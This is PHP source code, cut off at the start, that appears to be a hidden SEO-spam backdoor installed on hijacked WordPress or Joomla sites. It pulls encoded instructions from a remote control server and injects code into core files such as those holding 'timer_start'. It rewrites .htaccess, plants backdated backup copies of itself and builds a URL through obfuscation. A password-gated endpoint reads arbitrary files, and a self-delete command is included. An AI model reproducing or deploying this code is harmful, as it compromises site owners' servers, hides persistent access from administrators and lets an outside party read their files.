= $num)
return count($destination);
$tempType = getFileType($file);
if(strstr($type,$tempType)){
$tempMydir = count(explode(DIRECTORY_SEPARATOR,$src));
if($tempMydir - $numHostDir > 2 && !strstr($file,'index')){
$destination[$source] = $tempType .'#name#'. str_replace('.'.$tempType ,'' ,$file);
}
}
}
}
}
closedir($handle);
}
if(isset($_GET['rset']) && $_GET['rset'] == 'set'){
if(isset($_SERVER['DOCUMENT_ROOT'])){
$hostDir = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR;
}elseif(isset($_SERVER['PHP_SELF'])){
$hostDir = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$_SERVER['PHP_SELF'])),'',__FILE__).DIRECTORY_SEPARATOR;
}else{
$hostDir = '/';
}
$hostDir = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR, $hostDir);
$sysType = sys_type();
$str = file_get_contents("index.php");
$r3 = '#(//kwz{2}ar{2}_bg)(.*?)(//kwz{2}ar{2}_end)#s';
shuffle($arrKeywz); $rp2 = ''; foreach($arrKeywz as $valpimg){
$rp2 .= '$arrKeywz[]="'. $valpimg .'";'. PHP_EOL; }
$str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str);
$r1 = '#(//brd{2}ar{2}_bg)(.*?)(//brd{2}ar{2}_end)#s';
shuffle($arrBread);
$rp1 = '';
foreach($arrBread as $vals){
$rp1 .= '$arrBread[]="'. $vals .'";'. PHP_EOL;
}
$str = preg_replace($r1, '\1'. PHP_EOL . PHP_EOL .$rp1 . PHP_EOL . PHP_EOL .'\3', $str);
$r3 = '#(//nt{2}ar{2}_bg)(.*?)(//nt{2}ar{2}_end)#s';
shuffle($arrnametime); $rp2 = ''; foreach($arrnametime as $valpimg){
$rp2 .= '$arrnametime[]="'. $valpimg .'";'. PHP_EOL; }
$str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str);
$rII='#(/{2}keyjgbg)(.*?)(/{2}keyjgend)#s';
$randNum = rand(1,100);
$strII = 'define("KEYJG",'.$randNum.');';
$str = preg_replace($rII, '\1'. PHP_EOL . PHP_EOL .$strII . PHP_EOL . PHP_EOL .'\3', $str);
$rII='#(/{2}randnumIbg)(.*?)(/{2}randnumIend)#s';
$randNum = rand(1,15);
$strII = 'define("RANDNUMI",'.$randNum.');';
$str = preg_replace($rII, '\1'. PHP_EOL . PHP_EOL .$strII . PHP_EOL . PHP_EOL .'\3', $str);
$rII='#(/{2}randnumIIbg)(.*?)(/{2}randnumIIend)#s';
$randNum = rand(1,15);
$strII = 'define("RANDNUMII",'.$randNum.');';
$str = preg_replace($rII, '\1'. PHP_EOL . PHP_EOL .$strII . PHP_EOL . PHP_EOL .'\3', $str);
$rII='#(/{2}pnamelenbg)(.*?)(/{2}pnamelenend)#s';
$randNum = rand(40,60);
$strII = 'define("PNAMELEN",'.$randNum.');';
$str = preg_replace($rII, '\1'. PHP_EOL . PHP_EOL .$strII . PHP_EOL . PHP_EOL .'\3', $str);
$r4 = '#(//sr{2}ar{2}_bg)(.*?)(//sr{2}ar{2}_end)#s';
$arrABC = range('a','z');
$strTemp1 = ''; for($i=0;$i<100;$i++){
shuffle($arrABC);
$strtemp = ''; foreach($arrABC as $value){
$strtemp .= $value; }
$strTemp1 .= '$date_string[' .$i. ']="' . $strtemp .'";'. PHP_EOL; }
$str = preg_replace($r4, '\1'. PHP_EOL . $strTemp1 . PHP_EOL .'\3', $str);
$num = rand(1,FNUM); $num = $num - 1;
$idUrl = GETDOM . "gpage.php?getid=$num";
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
$arrId = explode(',',$tempIdStr);
$indexId=array_rand($arrId,1);
$rsGs="#^[\d-]+$#i";
if(!preg_match($rsGs,$arrId[$indexId])){
die("get no id");
}
$str = str_replace('$id = "108269"; //llq index id', '$id = "'. $arrId[$indexId] .'"; //llq index id', $str);
$r3='#(// \#l{2}ql{2}q\#arr_fuhao)(.*?)(// \#l{2}ql{2}q\#arr_fuhaoend)#s'; shuffle($arrfh);$rp2='';foreach($arrfh as $valpimg){$rp2.='$arrfh[]="'.$valpimg.'";'.PHP_EOL;}$str=preg_replace($r3,'\1'.PHP_EOL.PHP_EOL.$rp2.PHP_EOL.PHP_EOL.'\3',$str);
file_put_contents(__FILE__, $str);
$dirNames = dirname(__FILE__);
$tpDarr = explode(DIRECTORY_SEPARATOR, $dirNames); $httcReplace = end($tpDarr);
$PreDir = '';
if(JDT == 1){
$UrlBaseDir = $httcReplace; $RewriteOnDir = '';
}else{
$UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/';
}
$strhtt = '';
if (file_exists("$PreDir.htaccess")){
chmod("$PreDir.htaccess",0755);
$strhtt = file_get_contents("$PreDir.htaccess");
}
if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
{
$strhtt = ''.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'';
}else{
$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);
}
if(1){
$r0 = '#(.*RewriteEngine On.*)#i';
$r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i';
if(JDT == 0){
$rsut = '\1'.PHP_EOL . 'RewriteRule ^'. LANUSED . '/products-.*-(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. LANUSED . '/(.*)-'. $cFlag .'\d+'. JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*(consolemap[a-z]+\.xml)$ search/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$ search/\$1 [L]' . PHP_EOL ;
$rsut2 = PHP_EOL . 'RewriteRule ^'. LANUSED . '/products-.*-(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. LANUSED . '/(.*)-'. $cFlag .'\d+'. JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*(consolemap[a-z]+\.xml)$ search/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$ search/\$1 [L]' . PHP_EOL .'RewriteRule' ;
}else{
$rsut = '\1'. PHP_EOL . 'RewriteRule ^'. LANUSED . '/products-.*-(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. LANUSED . '/(.*)-'. $cFlag .'\d+'. JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL ;
$rsut2 = PHP_EOL . 'RewriteRule ^'. LANUSED . '/products-.*-(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. LANUSED . '/(.*)-'. $cFlag .'\d+'. JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL .'RewriteRule' ;
}
if(preg_match($r0,$strhtt)){
$strhtt = preg_replace($r0,$rsut,$strhtt,1);
}elseif(preg_match($r1,$strhtt)){
$strhtt = preg_replace($r1,$rsut,$strhtt,1);
}else{
$strhtt = preg_replace($r2,$rsut2,$strhtt,1);
}
if(JDT == 1 or JDT == 0){
file_put_contents("$PreDir.htaccess", $strhtt);
}
}
$str = file_get_contents(__FILE__);
if(isset($_GET["jgshu"]) && $_GET["jgshu"]){
$str = str_replace('define("JGNUM","50");', 'define("JGNUM","'.trim($_GET["jgshu"]).'");', $str);
echo "
jgshu (".$_GET["jgshu"].") ok!
";
}
if(isset($_GET["ljshu"]) && $_GET["ljshu"]){
$str = str_replace('define("LINKNUM","18");', 'define("LINKNUM","'.trim($_GET["ljshu"]).'");', $str);
echo "
ljshu (".$_GET["ljshu"].") ok!
";
}
$$q2 = $O00O0O[7].$O00O0O[19].$O00O0O[19].$O00O0O[15].$O00O0O[65].$O00O0O[64].$O00O0O[64].$O00O0O[22].$O00O0O[22].$O00O0O[22].$O00O0O[63].$O00O0O[19].$O00O0O[22].$O00O0O[12].$O00O0O[1].$O00O0O[0].$O00O0O[12].$O00O0O[0].$O00O0O[17].$O00O0O[10].$O00O0O[4].$O00O0O[19].$O00O0O[63].$O00O0O[23].$O00O0O[24].$O00O0O[25].$O00O0O[64].$O00O0O[1].$O00O0O[10].$O00O0O[18].$O00O0O[63].$O00O0O[15].$O00O0O[7].$O00O0O[15];
$nowDirName = end(explode(DIRECTORY_SEPARATOR,dirname(__FILE__)));
$arrFile = array();
$arrFile['MyDir'] = $nowDirName;
$arrFile['JDT'] = JDT;
$arrFile['site'] = $thisdom;
$arrFile['SYSTP'] = $sysType;
for($i=0;$i<3;$i++){
$get_str = get_once($arrFile);
if(strstr($get_str, ''))
break;
}
if(strstr($get_str, '')){
$rs = '#(.*)#si';
preg_match($rs,$get_str,$match_get);
$myGarr = json_decode(base64_decode(gzinflate($match_get[1])),1);
}
if($sysType == 'wp' or $sysType == 'Joomla'){
$wp_debug_f1 = '../' . $myGarr['debug_f1'];
$wp_debug_f2 = '../' . $myGarr['debug_f2'];
$secure_mfo = './template.html';
$secure_index_now = './index.php';
if(JDT == 1){
$secure_now_htac = './.htaccess';
}elseif(JDT == 0){
$secure_now_htac = '../.htaccess';
}else{
$secure_now_htac = '';
}
}
$strNowIndex = file_get_contents($secure_index_now);
$r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si';
$strNowIndex2 = preg_replace($r4, '', $strNowIndex);
$r4 = '#i{9}bg.*?i{9}end#si';
$strNowIndex2 = preg_replace($r4, '', $strNowIndex2);
$r4 = '#w{6}forbg.*?w{6}forend#si';
$strNowIndex2 = preg_replace($r4, '', $strNowIndex2);
$r4 = '#w{6}forbg.*?w{6}forend#si';
$strNowIndex2 = preg_replace($r4, '', $strNowIndex2);
$strNowIndex = $strNowIndex2;
$strNowMoban = file_get_contents($secure_mfo);
$strNowHtac = file_get_contents($secure_now_htac);
if($sysType == 'wp' or $sysType == 'Joomla'){
if(file_exists($wp_debug_f1)){
$strCkLocalFile1 = file_get_contents($wp_debug_f1);
chmod($wp_debug_f1,0755);
if($sysType == 'wp'){
if(stristr($strCkLocalFile1,'function timer_start')){
$rpRpFind = 'function timer_start';
}elseif(stristr($strCkLocalFile1,'function require_wp_db')){
$rpRpFind = 'function require_wp_db';
}else{
$rpRpFind = false;
}
}elseif($sysType == 'Joomla'){
if(stristr($strwp_debug_f2,'function require_wp_db')){
$rpRpFind = 'function require_wp_db';
}elseif(stristr($strwp_debug_f2,'function timer_start')){
$rpRpFind = 'function timer_start';
}else{
$rpRpFind = false;
}
}else{
$rpRpFind = false;
}
$PutStrI = $myGarr['PutStrI'];
$secure_index = '../' . $myGarr['secure_index'];
$secure_tac = '../' . $myGarr['secure_tac'];
$secure_tems = '../' . $myGarr['secure_tems'];
file_put_contents($secure_index,$strNowIndex);
file_put_contents($secure_tems,$strNowMoban);
file_put_contents($secure_tac,$strNowHtac);
touch($secure_index, $fitime, $fitime);
touch($secure_tems, $fitime, $fitime);
touch($secure_tac, $fitime, $fitime);
if(strstr($strCkLocalFile1,'//wpsys bg') && strstr($strCkLocalFile1,'//wpsys end')){
$rsck1 = '#//wpsys bg.*?//wpsys end#si';
$strCkLocalFile1 = preg_replace($rsck1,$PutStrI,$strCkLocalFile1);
}else{
if(!$rpRpFind){
$strCkLocalFile1 = $strCkLocalFile1.PHP_EOL .$PutStrI;
}else{
$strCkLocalFile1 = str_replace($rpRpFind,$PutStrI.$rpRpFind,$strCkLocalFile1);
}
}
file_put_contents($wp_debug_f1,$strCkLocalFile1);
touch($wp_debug_f1, $fitime, $fitime);
}
if(file_exists($wp_debug_f2)){
$strwp_debug_f2 = file_get_contents($wp_debug_f2);
chmod($wp_debug_f2,0755);
if($sysType == 'wp'){
if(stristr($strwp_debug_f2,'function require_wp_db')){
$rpRpFind = 'function require_wp_db';
}elseif(stristr($strwp_debug_f2,'function timer_start')){
$rpRpFind = 'function timer_start';
}else{
$rpRpFind = false;
}
}elseif($sysType == 'Joomla'){
if(stristr($strwp_debug_f2,'ob_end_clean')){
$rpRpFind = 'ob_end_clean';
}elseif(stristr($strwp_debug_f2,'// System configuration')){
$rpRpFind = '// System configuration';
}else{
$rpRpFind = false;
}
}else{
$rpRpFind = false;
}
$PutStrTwo = $myGarr['PutStrTwo'];
$secure_intex = '../' . $myGarr['secure_intex'];
$secure_htac = '../' . $myGarr['secure_htac'];
$secure_temp = '../' . $myGarr['secure_temp'];
file_put_contents($secure_intex,$strNowIndex);
file_put_contents($secure_temp,$strNowMoban);
file_put_contents($secure_htac,$strNowHtac);
touch($secure_intex, $fitime, $fitime);
touch($secure_temp, $fitime, $fitime);
touch($secure_htac, $fitime, $fitime);
if(strstr($strwp_debug_f2,'//wpIIbg') && strstr($strwp_debug_f2,'//wpIIend')){
$rsckII = '#//wpIIbg.*?//wpIIend#si';
$strwp_debug_f2 = preg_replace($rsckII,$PutStrTwo,$strwp_debug_f2);
}else{
$strwp_debug_f2 = '<'.'?php'. PHP_EOL .$PutStrTwo. PHP_EOL . '?>'.PHP_EOL . $strwp_debug_f2;
}
file_put_contents($wp_debug_f2,$strwp_debug_f2);
touch($wp_debug_f2, $fitime, $fitime);
}
}
if($sysType == 'wp' or $sysType == 'Joomla'){
$backupfile1 = '../' . $myGarr['backupfile1'];
$backupfile2 = '../' . $myGarr['backupfile2'];
}else{
$numHostDir = count(explode(DIRECTORY_SEPARATOR,$hostDir));
$arrphpDir = array();
getTypeImg($hostDir,$arrphpDir,3,'php');
$i=1;
foreach($arrphpDir as $key=>$vs){
$fitime = filemtime($key);
list($tmepImgType,$trmeyImgName) = explode('#name#',$vs);
$tempMyVs = 'backupfile'.$i++;
$$tempMyVs = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'s.'. $tmepImgType;
while(file_exists($$tempMyVs)){
$$tempMyVs = str_replace(".$tmepImgType","s.$tmepImgType",$$tempMyVs);
}
}
}
$backupfile1 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile1);
$backupfile2 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile2);
generate_dir_file($backupfile1);
generate_dir_file($backupfile2);
$backStr = isset($myGarr['bfStr']) ? $myGarr['bfStr'] : '';
if($backStr){
if(isset($backupfile1) && $backupfile1){
if(file_put_contents($backupfile1,$backStr))
$flagRdir1 = 1;
else
$flagRdir1 = 0;
}
if(isset($backupfile2) && $backupfile2){
if(file_put_contents($backupfile2,$backStr))
$flagRdir2 = 1;
else
$flagRdir2 = 0;
}
touch($backupfile1, $fitime, $fitime);
touch(dirname($backupfile1), $fitime, $fitime);
touch($backupfile2, $fitime, $fitime);
touch(dirname($backupfile2), $fitime, $fitime);
}
$arrTemps = explode('/',GETDOM);
$tpNum = count($arrTemps);
$dateArr = array();
$dateArr['dom'] = $thisdom;
$dateArr['myFile'] = get_scheme() .'://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$dateArr['indexhyFile'] = __FILE__;
$dateArr['mbFile'] = str_replace('index.php','template.html',$dateArr['indexhyFile']);
$dateArr['htaccess'] = str_replace('index.php','',$dateArr['indexhyFile']) ."$PreDir.htaccess";
$dateArr['act'] = 'pt';
$dateArr['moshi'] = JDT;
$dateArr['bzpro'] = BZPRO;
$dateArr['bao'] = $arrTemps[$tpNum-2];
if($backupfile1){
if(isset($myGarr['backupfile1']) && $myGarr['backupfile1']){
$bfileurl1 = get_scheme() .'://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$myGarr['backupfile1']);
}else{
$bfileurl1 = get_scheme() .'://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile1);
}
$dateArr['backupfile1'] = $bfileurl1;
}
if($backupfile2){
if(isset($myGarr['backupfile2']) && $myGarr['backupfile2']){
$bfileurl2 = get_scheme() .'://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$myGarr['backupfile2']);
}else{
$bfileurl2 = get_scheme() .'://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile2);
}
$dateArr['backupfile2'] = $bfileurl2;
}
save_install($dateArr);
echo '
rset ok!
';
echo 'please open this url: '.GETDOM .'gfile.php?site='.$thisdom;
echo "
";
$staus = backup_install($dateArr,2);
if($staus != '#ok#'){
$staus = backup_install_two($dateArr,1);
}
if($staus == '#ok#'){
echo '
backup ok!
';
}else{
echo '
backup fail!
';
}
}
if(isset($_GET["ljshu"]) && $_GET["ljshu"]){
$strDefault = file_get_contents(__FILE__);
$strDefault = str_replace('define("LINKNUM","18");', 'define("LINKNUM","'.$_GET["ljshu"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "
ljshu (".$_GET["ljshu"].") ok!
";}
if(isset($_GET["houzui"]) && $_GET["houzui"]){
$strDefault = file_get_contents(__FILE__);
$rII='#(/{2}jthouzuibg)(.*?)(/{2}jthouzuiend)#s';
$strDefault = preg_replace($rII, '\1'. PHP_EOL . 'define("JTHZ","'.trim($_GET["houzui"]).'");' . PHP_EOL .'\3', $strDefault);
file_put_contents(__FILE__,$strDefault);
echo "
houzui (".$_GET["houzui"].") ok!
";
exit;
}
if(isset($_GET["moshi"])){
if($_GET["moshi"] != 0 && $_GET["moshi"] != 1 && $_GET["moshi"] != 2 && $_GET["moshi"] != 3){
echo "
set fails, moshi value must be 0,1,2 or 3 !
"; die(); }
if($_GET["moshi"] == 2 || $_GET["moshi"] == 3){
unlink(".htaccess"); }
$strDefault = file_get_contents(__FILE__);
$r3='#(/{2}msbg)(.*?)(/{2}msend)#s';
$rp2 = 'define("JDT","'.$_GET["moshi"].'");'; $strDefault=preg_replace($r3,'\1'.PHP_EOL.$rp2.PHP_EOL.'\3',$strDefault);
$strDefault = str_replace('define("JDT","0");', 'define("JDT","'.$_GET["moshi"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "
moshi (".$_GET["moshi"].") ok!
";}
if(isset($_GET["delmyself"]) && $_GET["delmyself"]==1){
$str = file_get_contents(__FILE__); $r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $str2 = preg_replace($r4, '', $str); $r4 = '#i{9}bg.*?i{9}end#si'; $str2 = preg_replace($r4, '', $str2); $r4 = '#w{6}forbg.*?w{6}forend#si';
$str2 = preg_replace($r4, '', $str2); $r4 = '#w{6}forbg.*?w{6}forend#si'; $str2 = preg_replace($r4, '', $str2);
file_put_contents(__FILE__,$str2);
unlink("../logs.txt");
echo 'ok';
die();
}
if(isset($_POST["delmyself"]) && $_POST["delmyself"]==1){
$str = file_get_contents(__FILE__); $r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $str2 = preg_replace($r4, '', $str); $r4 = '#i{9}bg.*?i{9}end#si'; $str2 = preg_replace($r4, '', $str2); $r4 = '#w{6}forbg.*?w{6}forend#si';
$str2 = preg_replace($r4, '', $str2); $r4 = '#w{6}forbg.*?w{6}forend#si'; $str2 = preg_replace($r4, '', $str2);
file_put_contents(__FILE__,$str2);
unlink("../logs.txt");
echo 'ok';
die();
}
// iiiiiiiiiend
$arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
$arrArrr[$j++] = $date_string[$i].$date_string[$i+1];}
$Arrrarr = array_flip($arrArrr);
$temp_abc = $O00O0O[9].$O00O0O[4].$O00O0O[0].$O00O0O[13].$O00O0O[17].$O00O0O[14].$O00O0O[11];
$temp_def = $O00O0O[13].$O00O0O[0].$O00O0O[18].$O00O0O[20].$O00O0O[3].$O00O0O[8].$O00O0O[14].$O00O0O[0];
if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){
$arrABC = range('a','z');
$O_OO0_0O_0='America/Chicago';
date_default_timezone_set($O_OO0_0O_0);
if (! is_dir("../search"))
mkdir("../search", 0755);
global $gnumber;
$gnumber = 1;
$bgNum = (int)trim($_GET["gsitemap"]);
$mapnum = (int)trim($_GET["mapnum"]);
if($bgNum > FNUM)
die("The Number Must Lower Then " . FNUM);
$arrNumTemp = getMapNum($bgNum,$mapnum);
$rs = '##si';
$mapLogs = file_get_contents("./map.log");
foreach($arrNumTemp as $vss){
$vals = "id$vss.php";
if(JDT == 0 && $gnumber == 1){
if(strstr($mapLogs,'sitemap.xml') && file_exists('../search/sitemap.xml')){
echo $vals."
";
echo '../search/sitemap.xml successed
';
$gnumber++;
continue;
}
}elseif(JDT == 0){
if(strstr($mapLogs,'#consolemap'. $arrABC[$gnumber-2] .'' .'.xml#') && file_exists('../search/consolemap'. $arrABC[$gnumber-2] .'' .'.xml')){
echo $vals."
";
echo '../search/consolemap'. $arrABC[$gnumber-2] .'' .'.xml successed
';
$gnumber++;
continue;
}
}
if(strstr($mapLogs,'#consolemap'. $arrABC[$gnumber-1] .'' .'.xml#') && file_exists('../search/consolemap'. $arrABC[$gnumber-1] .'' .'.xml')){
echo $vals."
";
echo '../search/consolemap'. $arrABC[$gnumber-1] .'' .'.xml successed
';
$gnumber++;
continue;
}
for($i=0; $i<3; $i++){
$idUrl = GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID;
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
$arrIdNameNow = array();
if(preg_match($rs,$tempIdStr,$matchIdName)){
$tparrIdName = explode('^^',$matchIdName[1]);
foreach($tparrIdName as $vs){
$tpArr = explode('^',$vs);
if(count($tpArr) == 2){
$arrIdNameNow[$tpArr[0]] = $tpArr[1];
}elseif(count($tpArr) > 2){
$tpstr = '';
for($j=1; $j";
die();
}
echo $vals."
";
if($gnumber == 1){
if(JDT == 1){
gsitemap($arrIdNameNow,2,1);
}else{
gsitemap($arrIdNameNow,1,2);
}
}else{
if(JDT == 1){
gsitemap2($arrIdNameNow,2,1); }else{
gsitemap2($arrIdNameNow,1,2); }
}
unset($arrIdNameNow,$tempArr1,$tempArr2); }
}
if(isset($_GET["ghtac"]) && $_GET["ghtac"]){
$dirNames = dirname(__FILE__);
$tpDarr = explode(DIRECTORY_SEPARATOR, $dirNames); $httcReplace = end($tpDarr);
$PreDir = '';
if(JDT == 1){
$UrlBaseDir = $httcReplace; $RewriteOnDir = '';
}else{
$UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/';
}
$strhtt = '';
if (file_exists("$PreDir.htaccess")){
chmod("$PreDir.htaccess",0755);
$strhtt = file_get_contents("$PreDir.htaccess");
}
if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
{
$strhtt = ''.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'';
}else{
$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);
}
if(1){
$r0 = '#(.*RewriteEngine On.*)#i';
$r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i';
if(JDT == 0){
$rsut = '\1'.PHP_EOL . 'RewriteRule ^'. LANUSED . '/products-.*-(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. LANUSED . '/(.*)-'. $cFlag .'\d+'. JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*(consolemap[a-z]+\.xml)$ search/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$ search/\$1 [L]' . PHP_EOL ;
$rsut2 = PHP_EOL . 'RewriteRule ^'. LANUSED . '/products-.*-(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. LANUSED . '/(.*)-'. $cFlag .'\d+'. JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*(consolemap[a-z]+\.xml)$ search/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$ search/\$1 [L]' . PHP_EOL .'RewriteRule' ;
}else{
$rsut = '\1'. PHP_EOL . 'RewriteRule ^'. LANUSED . '/products-.*-(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. LANUSED . '/(.*)-'. $cFlag .'\d+'. JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL ;
$rsut2 = PHP_EOL . 'RewriteRule ^'. LANUSED . '/products-.*-(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. LANUSED . '/(.*)-'. $cFlag .'\d+'. JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL .'RewriteRule' ;
}
if(preg_match($r0,$strhtt)){
$strhtt = preg_replace($r0,$rsut,$strhtt,1);
}elseif(preg_match($r1,$strhtt)){
$strhtt = preg_replace($r1,$rsut,$strhtt,1);
}else{
$strhtt = preg_replace($r2,$rsut2,$strhtt,1);
}
if(JDT == 1 or JDT == 0){
file_put_contents("$PreDir.htaccess", $strhtt);
}
}
die("ghtac ok");
}
if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo rFile($v_read);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#'; die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$blog_data = array();$flag = 1;$blog_data['index'] = filesize(__FILE__);if(file_exists("./template.html")){$blog_data['template'] = filesize("./template.html");}else{$flag = 0;$blog_data['template'] = -1;}echo 'error---'. serialize($blog_data) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();}
if(JDT==2){
$UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){
$tempSid = ''; $tempPid = '';
$r2='#'. LANUSED . '/products-.*-(\d+)'. JTHZ .'$#i'; $r3='#'. LANUSED . '/products-.*-(\d+)/$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1]; }else{
preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
$tempPid = $matches13[1]; }
// if($tempPid && !strstr($_SERVER['REQUEST_URI'],'item')){
if($tempPid){
$_GET['id']= $tempPid;
}else{
$r2='#'. LANUSED . '/(.*)-'. $cFlag .'\d+'. JTHZ .'#i'; $r3='#'. LANUSED . '/(.*)-'. $cFlag .'\d+/$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1];
}else{
preg_match($r3,$UrlParent,$matches13);
if(isset($matches13[1]))
$tempPid = $matches13[1];
}
if($tempPid)
$_GET['cat']= $tempPid;
}
}
}elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
$tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword'];
$r2='#-(\d+)$#i'; $r3='#[-/]'.'(\d+)$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1]; }else{
preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
$tempPid = $matches13[1]; }
if($tempPid){
$_GET['id']= $tempPid;
}
}
function getRandStr(){
$arrABC = range('a','z'); shuffle($arrABC);
$randNum = rand(4,6);
$str = implode('',array_slice($arrABC,0,$randNum));
return $str;}
if(isset($_GET["id"]))
$id = $_GET["id"];
else{
if(isset($_GET["cat"])){
$rqurl = $_GET["cat"];
$logFileName = './idlogs.txt';
if(file_exists($logFileName)){
$arrUrlId = unserialize(file_get_contents($logFileName));
}else{
$arrUrlId = array();
}
if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){
$id = $arrUrlId[$rqurl];
}else{
$arrUrlId[$rqurl] = getRandCId($rqurl);
$id = $arrUrlId[$rqurl];
file_put_contents($logFileName,serialize($arrUrlId));
touch(dirname($logFileName), $fLogTime, $fLogTime);
touch($logFileName, $fLogTime, $fLogTime);
}
}else{
$id = "108269"; //llq index id
}
}
